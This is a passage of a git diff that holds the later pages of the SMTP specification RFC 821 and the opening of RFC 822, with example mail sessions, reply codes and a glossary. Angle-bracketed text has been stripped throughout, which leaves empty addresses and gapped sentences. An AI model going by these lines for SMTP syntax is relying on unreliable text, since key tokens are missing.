cmd +---+ 2 +---+ + | B |---------->| W |---------->| S | + +---+ +---+ +---+ + | + | 4,5 +---+ + ----------->| F | + +---+ + + + This diagram models the commands: + + HELO, MAIL, RCPT, RSET, SEND, SOML, SAML, VRFY, EXPN, HELP, + NOOP, QUIT, TURN. + + + + + + + + + + + + + + + +Postel [Page 39] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + A more complex diagram models the DATA command: + + + +---+ DATA +---+ 1,2 +---+ + | B |---------->| W |-------------------->| E | + +---+ +---+ ------------>+---+ + 3| |4,5 | + | | | + -------------- ----- | + | | | +---+ + | ---------- -------->| S | + | | | | +---+ + | | ------------ + | | | | + V 1,3| |2 | + +---+ data +---+ --------------->+---+ + | |---------->| W | | F | + +---+ +---+-------------------->+---+ + 4,5 + + + Note that the "data" here is a series of lines sent from the + sender to the receiver with no response expected until the last + line is sent. + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 40] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + 4.5. DETAILS + + 4.5.1. MINIMUM IMPLEMENTATION + + In order to make SMTP workable, the following minimum + implementation is required for all receivers: + + COMMANDS -- HELO + MAIL + RCPT + DATA + RSET + NOOP + QUIT + + 4.5.2. TRANSPARENCY + + Without some provision for data transparency the character + sequence "." ends the mail text and cannot be sent + by the user. In general, users are not aware of such + "forbidden" sequences. To allow all user composed text to be + transmitted transparently the following procedures are used. + + 1. Before sending a line of mail text the sender-SMTP checks + the first character of the line. If it is a period, one + additional period is inserted at the beginning of the line. + + 2. When a line of mail text is received by the receiver-SMTP + it checks the line. If the line is composed of a single + period it is the end of mail. If the first character is a + period and there are other characters on the line, the first + character is deleted. + + The mail data may contain any of the 128 ASCII characters. All + characters are to be delivered to the recipient's mailbox + including format effectors and other control characters. If + the transmission channel provides an 8-bit byte (octets) data + stream, the 7-bit ASCII codes are transmitted right justified + in the octets with the high order bits cleared to zero. + + In some systems it may be necessary to transform the data as + it is received and stored. This may be necessary for hosts + that use a different character set than ASCII as their local + character set, or that store data in records rather than + + + + + +Postel [Page 41] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + strings. If such transforms are necessary, they must be + reversible -- especially if such transforms are applied to + mail being relayed. + + 4.5.3. SIZES + + There are several objects that have required minimum maximum + sizes. That is, every implementation must be able to receive + objects of at least these sizes, but must not send objects + larger than these sizes. + + + **************************************************** + * * + * TO THE MAXIMUM EXTENT POSSIBLE, IMPLEMENTATION * + * TECHNIQUES WHICH IMPOSE NO LIMITS ON THE LENGTH * + * OF THESE OBJECTS SHOULD BE USED. * + * * + **************************************************** + + user + + The maximum total length of a user name is 64 characters. + + domain + + The maximum total length of a domain name or number is 64 + characters. + + path + + The maximum total length of a reverse-path or + forward-path is 256 characters (including the punctuation + and element separators). + + command line + + The maximum total length of a command line including the + command word and the is 512 characters. + + reply line + + The maximum total length of a reply line including the + reply code and the is 512 characters. + + + + + +[Page 42] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + text line + + The maximum total length of a text line including the + is 1000 characters (but not counting the leading + dot duplicated for transparency). + + recipients buffer + + The maximum total number of recipients that must be + buffered is 100 recipients. + + + **************************************************** + * * + * TO THE MAXIMUM EXTENT POSSIBLE, IMPLEMENTATION * + * TECHNIQUES WHICH IMPOSE NO LIMITS ON THE LENGTH * + * OF THESE OBJECTS SHOULD BE USED. * + * * + **************************************************** + + Errors due to exceeding these limits may be reported by using + the reply codes, for example: + + 500 Line too long. + + 501 Path too long + + 552 Too many recipients. + + 552 Too much mail data. + + + + + + + + + + + + + + + + + + + +Postel [Page 43] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +APPENDIX A + + TCP Transport service + + The Transmission Control Protocol [3] is used in the ARPA + Internet, and in any network following the US DoD standards for + internetwork protocols. + + Connection Establishment + + The SMTP transmission channel is a TCP connection established + between the sender process port U and the receiver process port + L. This single full duplex connection is used as the + transmission channel. This protocol is assigned the service + port 25 (31 octal), that is L=25. + + Data Transfer + + The TCP connection supports the transmission of 8-bit bytes. + The SMTP data is 7-bit ASCII characters. Each character is + transmitted as an 8-bit byte with the high-order bit cleared to + zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 44] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + +APPENDIX B + + NCP Transport service + + The ARPANET Host-to-Host Protocol [4] (implemented by the Network + Control Program) may be used in the ARPANET. + + Connection Establishment + + The SMTP transmission channel is established via NCP between + the sender process socket U and receiver process socket L. The + Initial Connection Protocol [5] is followed resulting in a pair + of simplex connections. This pair of connections is used as + the transmission channel. This protocol is assigned the + contact socket 25 (31 octal), that is L=25. + + Data Transfer + + The NCP data connections are established in 8-bit byte mode. + The SMTP data is 7-bit ASCII characters. Each character is + transmitted as an 8-bit byte with the high-order bit cleared to + zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 45] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +APPENDIX C + + NITS + + The Network Independent Transport Service [6] may be used. + + Connection Establishment + + The SMTP transmission channel is established via NITS between + the sender process and receiver process. The sender process + executes the CONNECT primitive, and the waiting receiver + process executes the ACCEPT primitive. + + Data Transfer + + The NITS connection supports the transmission of 8-bit bytes. + The SMTP data is 7-bit ASCII characters. Each character is + transmitted as an 8-bit byte with the high-order bit cleared to + zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 46] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + +APPENDIX D + + X.25 Transport service + + It may be possible to use the X.25 service [7] as provided by the + Public Data Networks directly, however, it is suggested that a + reliable end-to-end protocol such as TCP be used on top of X.25 + connections. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 47] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +APPENDIX E + + Theory of Reply Codes + + The three digits of the reply each have a special significance. + The first digit denotes whether the response is good, bad or + incomplete. An unsophisticated sender-SMTP will be able to + determine its next action (proceed as planned, redo, retrench, + etc.) by simply examining this first digit. A sender-SMTP that + wants to know approximately what kind of error occurred (e.g., + mail system error, command syntax error) may examine the second + digit, reserving the third digit for the finest gradation of + information. + + There are five values for the first digit of the reply code: + + 1yz Positive Preliminary reply + + The command has been accepted, but the requested action + is being held in abeyance, pending confirmation of the + information in this reply. The sender-SMTP should send + another command specifying whether to continue or abort + the action. + + [Note: SMTP does not have any commands that allow this + type of reply, and so does not have the continue or + abort commands.] + + 2yz Positive Completion reply + + The requested action has been successfully completed. A + new request may be initiated. + + 3yz Positive Intermediate reply + + The command has been accepted, but the requested action + is being held in abeyance, pending receipt of further + information. The sender-SMTP should send another command + specifying this information. This reply is used in + command sequence groups. + + 4yz Transient Negative Completion reply + + The command was not accepted and the requested action did + not occur. However, the error condition is temporary and + the action may be requested again. The sender should + + + +[Page 48] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + return to the beginning of the command sequence (if any). + It is difficult to assign a meaning to "transient" when + two different sites (receiver- and sender- SMTPs) must + agree on the interpretation. Each reply in this category + might have a different time value, but the sender-SMTP is + encouraged to try again. A rule of thumb to determine if + a reply fits into the 4yz or the 5yz category (see below) + is that replies are 4yz if they can be repeated without + any change in command form or in properties of the sender + or receiver. (E.g., the command is repeated identically + and the receiver does not put up a new implementation.) + + 5yz Permanent Negative Completion reply + + The command was not accepted and the requested action did + not occur. The sender-SMTP is discouraged from repeating + the exact request (in the same sequence). Even some + "permanent" error conditions can be corrected, so the + human user may want to direct the sender-SMTP to + reinitiate the command sequence by direct action at some + point in the future (e.g., after the spelling has been + changed, or the user has altered the account status). + + The second digit encodes responses in specific categories: + + x0z Syntax -- These replies refer to syntax errors, + syntactically correct commands that don't fit any + functional category, and unimplemented or superfluous + commands. + + x1z Information -- These are replies to requests for + information, such as status or help. + + x2z Connections -- These are replies referring to the + transmission channel. + + x3z Unspecified as yet. + + x4z Unspecified as yet. + + x5z Mail system -- These replies indicate the status of + the receiver mail system vis-a-vis the requested + transfer or other mail system action. + + The third digit gives a finer gradation of meaning in each + category specified by the second digit. The list of replies + + + +Postel [Page 49] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + illustrates this. Each reply text is recommended rather than + mandatory, and may even change according to the command with + which it is associated. On the other hand, the reply codes + must strictly follow the specifications in this section. + Receiver implementations should not invent new codes for + slightly different situations from the ones described here, but + rather adapt codes already defined. + + For example, a command such as NOOP whose successful execution + does not offer the sender-SMTP any new information will return + a 250 reply. The response is 502 when the command requests an + unimplemented non-site-specific action. A refinement of that + is the 504 reply for a command that is implemented, but that + requests an unimplemented parameter. + + The reply text may be longer than a single line; in these cases + the complete text must be marked so the sender-SMTP knows when it + can stop reading the reply. This requires a special format to + indicate a multiple line reply. + + The format for multiline replies requires that every line, + except the last, begin with the reply code, followed + immediately by a hyphen, "-" (also known as minus), followed by + text. The last line will begin with the reply code, followed + immediately by , optionally some text, and . + + For example: + 123-First line + 123-Second line + 123-234 text beginning with numbers + 123 The last line + + In many cases the sender-SMTP then simply needs to search for + the reply code followed by at the beginning of a line, and + ignore all preceding lines. In a few cases, there is important + data for the sender in the reply "text". The sender will know + these cases from the current context. + + + + + + + + + + + + +[Page 50] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + +APPENDIX F + + Scenarios + + This section presents complete scenarios of several types of SMTP + sessions. + + A Typical SMTP Transaction Scenario + + This SMTP example shows mail sent by Smith at host USC-ISIF, to + Jones, Green, and Brown at host BBN-UNIX. Here we assume that + host USC-ISIF contacts host BBN-UNIX directly. The mail is + accepted for Jones and Brown. Green does not have a mailbox at + host BBN-UNIX. + + ------------------------------------------------------------- + + R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready + S: HELO USC-ISIF.ARPA + R: 250 BBN-UNIX.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: RCPT TO: + R: 550 No such user here + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 BBN-UNIX.ARPA Service closing transmission channel + + Scenario 1 + + ------------------------------------------------------------- + + + +Postel [Page 51] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + Aborted SMTP Transaction Scenario + + ------------------------------------------------------------- + + R: 220 MIT-Multics.ARPA Simple Mail Transfer Service Ready + S: HELO ISI-VAXA.ARPA + R: 250 MIT-Multics.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: RCPT TO: + R: 550 No such user here + + S: RSET + R: 250 OK + + S: QUIT + R: 221 MIT-Multics.ARPA Service closing transmission channel + + Scenario 2 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + + + + + + + +[Page 52] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Relayed Mail Scenario + + ------------------------------------------------------------- + + Step 1 -- Source Host to Relay Host + + R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready + S: HELO MIT-AI.ARPA + R: 250 USC-ISIE.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO:<@USC-ISIE.ARPA:Jones@BBN-VAX.ARPA> + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Date: 2 Nov 81 22:33:44 + S: From: John Q. Public + S: Subject: The Next Meeting of the Board + S: To: Jones@BBN-Vax.ARPA + S: + S: Bill: + S: The next meeting of the board of directors will be + S: on Tuesday. + S: John. + S: . + R: 250 OK + + S: QUIT + R: 221 USC-ISIE.ARPA Service closing transmission channel + + + + + + + + + + + + + + + + + +Postel [Page 53] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + Step 2 -- Relay Host to Destination Host + + R: 220 BBN-VAX.ARPA Simple Mail Transfer Service Ready + S: HELO USC-ISIE.ARPA + R: 250 BBN-VAX.ARPA + + S: MAIL FROM:<@USC-ISIE.ARPA:JQP@MIT-AI.ARPA> + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Received: from MIT-AI.ARPA by USC-ISIE.ARPA ; + 2 Nov 81 22:40:10 UT + S: Date: 2 Nov 81 22:33:44 + S: From: John Q. Public + S: Subject: The Next Meeting of the Board + S: To: Jones@BBN-Vax.ARPA + S: + S: Bill: + S: The next meeting of the board of directors will be + S: on Tuesday. + S: John. + S: . + R: 250 OK + + S: QUIT + R: 221 USC-ISIE.ARPA Service closing transmission channel + + Scenario 3 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + +[Page 54] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Verifying and Sending Scenario + + ------------------------------------------------------------- + + R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready + S: HELO MIT-MC.ARPA + R: 250 SU-SCORE.ARPA + + S: VRFY Crispin + R: 250 Mark Crispin + + S: SEND FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 SU-SCORE.ARPA Service closing transmission channel + + Scenario 4 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + + + +Postel [Page 55] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + Sending and Mailing Scenarios + + First the user's name is verified, then an attempt is made to + send to the user's terminal. When that fails, the messages is + mailed to the user's mailbox. + + ------------------------------------------------------------- + + R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready + S: HELO MIT-MC.ARPA + R: 250 SU-SCORE.ARPA + + S: VRFY Crispin + R: 250 Mark Crispin + + S: SEND FROM: + R: 250 OK + + S: RCPT TO: + R: 450 User not active now + + S: RSET + R: 250 OK + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 SU-SCORE.ARPA Service closing transmission channel + + Scenario 5 + + ------------------------------------------------------------- + + + + + + +[Page 56] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Doing the preceding scenario more efficiently. + + ------------------------------------------------------------- + + R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready + S: HELO MIT-MC.ARPA + R: 250 SU-SCORE.ARPA + + S: VRFY Crispin + R: 250 Mark Crispin + + S: SOML FROM: + R: 250 OK + + S: RCPT TO: + R: 250 User not active now, so will do mail. + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 SU-SCORE.ARPA Service closing transmission channel + + Scenario 6 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + + + +Postel [Page 57] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + Mailing List Scenario + + First each of two mailing lists are expanded in separate sessions + with different hosts. Then the message is sent to everyone that + appeared on either list (but no duplicates) via a relay host. + + ------------------------------------------------------------- + + Step 1 -- Expanding the First List + + R: 220 MIT-AI.ARPA Simple Mail Transfer Service Ready + S: HELO SU-SCORE.ARPA + R: 250 MIT-AI.ARPA + + S: EXPN Example-People + R: 250- + R: 250-Fred Fonebone + R: 250-Xenon Y. Zither + R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA> + R: 250- + R: 250 + + S: QUIT + R: 221 MIT-AI.ARPA Service closing transmission channel + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 58] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Step 2 -- Expanding the Second List + + R: 220 MIT-MC.ARPA Simple Mail Transfer Service Ready + S: HELO SU-SCORE.ARPA + R: 250 MIT-MC.ARPA + + S: EXPN Interested-Parties + R: 250-Al Calico + R: 250- + R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA> + R: 250- + R: 250 + + S: QUIT + R: 221 MIT-MC.ARPA Service closing transmission channel + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 59] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + Step 3 -- Mailing to All via a Relay Host + + R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready + S: HELO SU-SCORE.ARPA + R: 250 USC-ISIE.ARPA + + S: MAIL FROM: + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:ABC@MIT-MC.ARPA> + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:Fonebone@USC-ISIQA.ARPA> + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:XYZ@MIT-AI.ARPA> + R: 250 OK + S: RCPT + TO:<@USC-ISIE.ARPA,@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA> + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:joe@FOO-UNIX.ARPA> + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:xyz@BAR-UNIX.ARPA> + R: 250 OK + S: RCPT TO:<@USC-ISIE.ARPA:fred@BBN-UNIX.ARPA> + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 USC-ISIE.ARPA Service closing transmission channel + + Scenario 7 + + ------------------------------------------------------------- + + + + + + + + + + + + +[Page 60] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Forwarding Scenarios + + ------------------------------------------------------------- + + R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready + S: HELO LBL-UNIX.ARPA + R: 250 USC-ISIF.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 251 User not local; will forward to + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 USC-ISIF.ARPA Service closing transmission channel + + Scenario 8 + + ------------------------------------------------------------- + + + + + + + + + + + + + + + + + + + + + + +Postel [Page 61] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + ------------------------------------------------------------- + + Step 1 -- Trying the Mailbox at the First Host + + R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready + S: HELO LBL-UNIX.ARPA + R: 250 USC-ISIF.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 251 User not local; will forward to + + S: RSET + R: 250 OK + + S: QUIT + R: 221 USC-ISIF.ARPA Service closing transmission channel + + Step 2 -- Delivering the Mail at the Second Host + + R: 220 USC-ISI.ARPA Simple Mail Transfer Service Ready + S: HELO LBL-UNIX.ARPA + R: 250 USC-ISI.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 USC-ISI.ARPA Service closing transmission channel + + Scenario 9 + + ------------------------------------------------------------- + + + + +[Page 62] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + Too Many Recipients Scenario + + ------------------------------------------------------------- + + R: 220 BERKELEY.ARPA Simple Mail Transfer Service Ready + S: HELO USC-ISIF.ARPA + R: 250 BERKELEY.ARPA + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: RCPT TO: + R: 552 Recipient storage full, try again in another transaction + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: MAIL FROM: + R: 250 OK + + S: RCPT TO: + R: 250 OK + + S: DATA + R: 354 Start mail input; end with . + S: Blah blah blah... + S: ...etc. etc. etc. + S: . + R: 250 OK + + S: QUIT + R: 221 BERKELEY.ARPA Service closing transmission channel + + Scenario 10 + + ------------------------------------------------------------- + + Note that a real implementation must handle many recipients as + specified in Section 4.5.3. + + + +Postel [Page 63] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + +GLOSSARY + + ASCII + + American Standard Code for Information Interchange [1]. + + command + + A request for a mail service action sent by the sender-SMTP to the + receiver-SMTP. + + domain + + The hierarchially structured global character string address of a + host computer in the mail system. + + end of mail data indication + + A special sequence of characters that indicates the end of the + mail data. In particular, the five characters carriage return, + line feed, period, carriage return, line feed, in that order. + + host + + A computer in the internetwork environment on which mailboxes or + SMTP processes reside. + + line + + A a sequence of ASCII characters ending with a . + + mail data + + A sequence of ASCII characters of arbitrary length, which conforms + to the standard set in the Standard for the Format of ARPA + Internet Text Messages (RFC 822 [2]). + + mailbox + + A character string (address) which identifies a user to whom mail + is to be sent. Mailbox normally consists of the host and user + specifications. The standard mailbox naming convention is defined + to be "user@domain". Additionally, the "container" in which mail + is stored. + + + + + +[Page 64] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + + receiver-SMTP process + + A process which transfers mail in cooperation with a sender-SMTP + process. It waits for a connection to be established via the + transport service. It receives SMTP commands from the + sender-SMTP, sends replies, and performs the specified operations. + + reply + + A reply is an acknowledgment (positive or negative) sent from + receiver to sender via the transmission channel in response to a + command. The general form of a reply is a completion code + (including error codes) followed by a text string. The codes are + for use by programs and the text is usually intended for human + users. + + sender-SMTP process + + A process which transfers mail in cooperation with a receiver-SMTP + process. A local language may be used in the user interface + command/reply dialogue. The sender-SMTP initiates the transport + service connection. It initiates SMTP commands, receives replies, + and governs the transfer of mail. + + session + + The set of exchanges that occur while the transmission channel is + open. + + transaction + + The set of exchanges required for one message to be transmitted + for one or more recipients. + + transmission channel + + A full-duplex communication path between a sender-SMTP and a + receiver-SMTP for the exchange of commands, replies, and mail + text. + + transport service + + Any reliable stream-oriented data communication services. For + example, NCP, TCP, NITS. + + + + + +Postel [Page 65] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + user + + A human being (or a process on behalf of a human being) wishing to + obtain mail transfer service. In addition, a recipient of + computer mail. + + word + + A sequence of printing characters. + + + + The characters carriage return and line feed (in that order). + + + + The space character. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 66] Postel + + + +RFC 821 August 1982 + Simple Mail Transfer Protocol + + + +REFERENCES + + [1] ASCII + + ASCII, "USA Code for Information Interchange", United States of + America Standards Institute, X3.4, 1968. Also in: Feinler, E. + and J. Postel, eds., "ARPANET Protocol Handbook", NIC 7104, for + the Defense Communications Agency by SRI International, Menlo + Park, California, Revised January 1978. + + [2] RFC 822 + + Crocker, D., "Standard for the Format of ARPA Internet Text + Messages," RFC 822, Department of Electrical Engineering, + University of Delaware, August 1982. + + [3] TCP + + Postel, J., ed., "Transmission Control Protocol - DARPA Internet + Program Protocol Specification", RFC 793, USC/Information Sciences + Institute, NTIS AD Number A111091, September 1981. Also in: + Feinler, E. and J. Postel, eds., "Internet Protocol Transition + Workbook", SRI International, Menlo Park, California, March 1982. + + [4] NCP + + McKenzie,A., "Host/Host Protocol for the ARPA Network", NIC 8246, + January 1972. Also in: Feinler, E. and J. Postel, eds., "ARPANET + Protocol Handbook", NIC 7104, for the Defense Communications + Agency by SRI International, Menlo Park, California, Revised + January 1978. + + [5] Initial Connection Protocol + + Postel, J., "Official Initial Connection Protocol", NIC 7101, + 11 June 1971. Also in: Feinler, E. and J. Postel, eds., "ARPANET + Protocol Handbook", NIC 7104, for the Defense Communications + Agency by SRI International, Menlo Park, California, Revised + January 1978. + + [6] NITS + + PSS/SG3, "A Network Independent Transport Service", Study Group 3, + The Post Office PSS Users Group, February 1980. Available from + the DCPU, National Physical Laboratory, Teddington, UK. + + + + +Postel [Page 67] + + + +August 1982 RFC 821 +Simple Mail Transfer Protocol + + + + [7] X.25 + + CCITT, "Recommendation X.25 - Interface Between Data Terminal + Equipment (DTE) and Data Circuit-terminating Equipment (DCE) for + Terminals Operating in the Packet Mode on Public Data Networks," + CCITT Orange Book, Vol. VIII.2, International Telephone and + Telegraph Consultative Committee, Geneva, 1976. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Page 68] Postel + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0822.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0822.txt new file mode 100644 index 00000000..35b09a3c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc0822.txt @@ -0,0 +1,2901 @@ + + + + + + + RFC # 822 + + Obsoletes: RFC #733 (NIC #41952) + + + + + + + + + + + + + STANDARD FOR THE FORMAT OF + + ARPA INTERNET TEXT MESSAGES + + + + + + + August 13, 1982 + + + + + + + Revised by + + David H. Crocker + + + Dept. of Electrical Engineering + University of Delaware, Newark, DE 19711 + Network: DCrocker @ UDel-Relay + + + + + + + + + + + + + + + + Standard for ARPA Internet Text Messages + + + TABLE OF CONTENTS + + + PREFACE .................................................... ii + + 1. INTRODUCTION ........................................... 1 + + 1.1. Scope ............................................ 1 + 1.2. Communication Framework .......................... 2 + + 2. NOTATIONAL CONVENTIONS ................................. 3 + + 3. LEXICAL ANALYSIS OF MESSAGES ........................... 5 + + 3.1. General Description .............................. 5 + 3.2. Header Field Definitions ......................... 9 + 3.3. Lexical Tokens ................................... 10 + 3.4. Clarifications ................................... 11 + + 4. MESSAGE SPECIFICATION .................................. 17 + + 4.1. Syntax ........................................... 17 + 4.2. Forwarding ....................................... 19 + 4.3. Trace Fields ..................................... 20 + 4.4. Originator Fields ................................ 21 + 4.5. Receiver Fields .................................. 23 + 4.6. Reference Fields ................................. 23 + 4.7. Other Fields ..................................... 24 + + 5. DATE AND TIME SPECIFICATION ............................ 26 + + 5.1. Syntax ........................................... 26 + 5.2. Semantics ........................................ 26 + + 6. ADDRESS SPECIFICATION .................................. 27 + + 6.1. Syntax ........................................... 27 + 6.2. Semantics ........................................ 27 + 6.3. Reserved Address ................................. 33 + + 7. BIBLIOGRAPHY ........................................... 34 + + + APPENDIX + + A. EXAMPLES ............................................... 36 + B. SIMPLE FIELD PARSING ................................... 40 + C. DIFFERENCES FROM RFC #733 .............................. 41 + D. ALPHABETICAL LISTING OF SYNTAX RULES ................... 44 + + + August 13, 1982 - i - RFC #822 + + + + + Standard for ARPA Internet Text Messages + + + PREFACE + + + By 1977, the Arpanet employed several informal standards for + the text messages (mail) sent among its host computers. It was + felt necessary to codify these practices and provide for those + features that seemed imminent. The result of that effort was + Request for Comments (RFC) #733, "Standard for the Format of ARPA + Network Text Message", by Crocker, Vittal, Pogran, and Henderson. + The specification attempted to avoid major changes in existing + software, while permitting several new features. + + This document revises the specifications in RFC #733, in + order to serve the needs of the larger and more complex ARPA + Internet. Some of RFC #733's features failed to gain adequate + acceptance. In order to simplify the standard and the software + that follows it, these features have been removed. A different + addressing scheme is used, to handle the case of inter-network + mail; and the concept of re-transmission has been introduced. + + This specification is intended for use in the ARPA Internet. + However, an attempt has been made to free it of any dependence on + that environment, so that it can be applied to other network text + message systems. + + The specification of RFC #733 took place over the course of + one year, using the ARPANET mail environment, itself, to provide + an on-going forum for discussing the capabilities to be included. + More than twenty individuals, from across the country, partici- + pated in the original discussion. The development of this + revised specification has, similarly, utilized network mail-based + group discussion. Both specification efforts greatly benefited + from the comments and ideas of the participants. + + The syntax of the standard, in RFC #733, was originally + specified in the Backus-Naur Form (BNF) meta-language. Ken L. + Harrenstien, of SRI International, was responsible for re-coding + the BNF into an augmented BNF that makes the representation + smaller and easier to understand. + + + + + + + + + + + + + August 13, 1982 - ii - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 1. INTRODUCTION + + 1.1. SCOPE + + This standard specifies a syntax for text messages that are + sent among computer users, within the framework of "electronic + mail". The standard supersedes the one specified in ARPANET + Request for Comments #733, "Standard for the Format of ARPA Net- + work Text Messages". + + In this context, messages are viewed as having an envelope + and contents. The envelope contains whatever information is + needed to accomplish transmission and delivery. The contents + compose the object to be delivered to the recipient. This stan- + dard applies only to the format and some of the semantics of mes- + sage contents. It contains no specification of the information + in the envelope. + + However, some message systems may use information from the + contents to create the envelope. It is intended that this stan- + dard facilitate the acquisition of such information by programs. + + Some message systems may store messages in formats that + differ from the one specified in this standard. This specifica- + tion is intended strictly as a definition of what message content + format is to be passed BETWEEN hosts. + + Note: This standard is NOT intended to dictate the internal for- + mats used by sites, the specific message system features + that they are expected to support, or any of the charac- + teristics of user interface programs that create or read + messages. + + A distinction should be made between what the specification + REQUIRES and what it ALLOWS. Messages can be made complex and + rich with formally-structured components of information or can be + kept small and simple, with a minimum of such information. Also, + the standard simplifies the interpretation of differing visual + formats in messages; only the visual aspect of a message is + affected and not the interpretation of information within it. + Implementors may choose to retain such visual distinctions. + + The formal definition is divided into four levels. The bot- + tom level describes the meta-notation used in this document. The + second level describes basic lexical analyzers that feed tokens + to higher-level parsers. Next is an overall specification for + messages; it permits distinguishing individual fields. Finally, + there is definition of the contents of several structured fields. + + + + August 13, 1982 - 1 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 1.2. COMMUNICATION FRAMEWORK + + Messages consist of lines of text. No special provisions + are made for encoding drawings, facsimile, speech, or structured + text. No significant consideration has been given to questions + of data compression or to transmission and storage efficiency, + and the standard tends to be free with the number of bits con- + sumed. For example, field names are specified as free text, + rather than special terse codes. + + A general "memo" framework is used. That is, a message con- + sists of some information in a rigid format, followed by the main + part of the message, with a format that is not specified in this + document. The syntax of several fields of the rigidly-formated + ("headers") section is defined in this specification; some of + these fields must be included in all messages. + + The syntax that distinguishes between header fields is + specified separately from the internal syntax for particular + fields. This separation is intended to allow simple parsers to + operate on the general structure of messages, without concern for + the detailed structure of individual header fields. Appendix B + is provided to 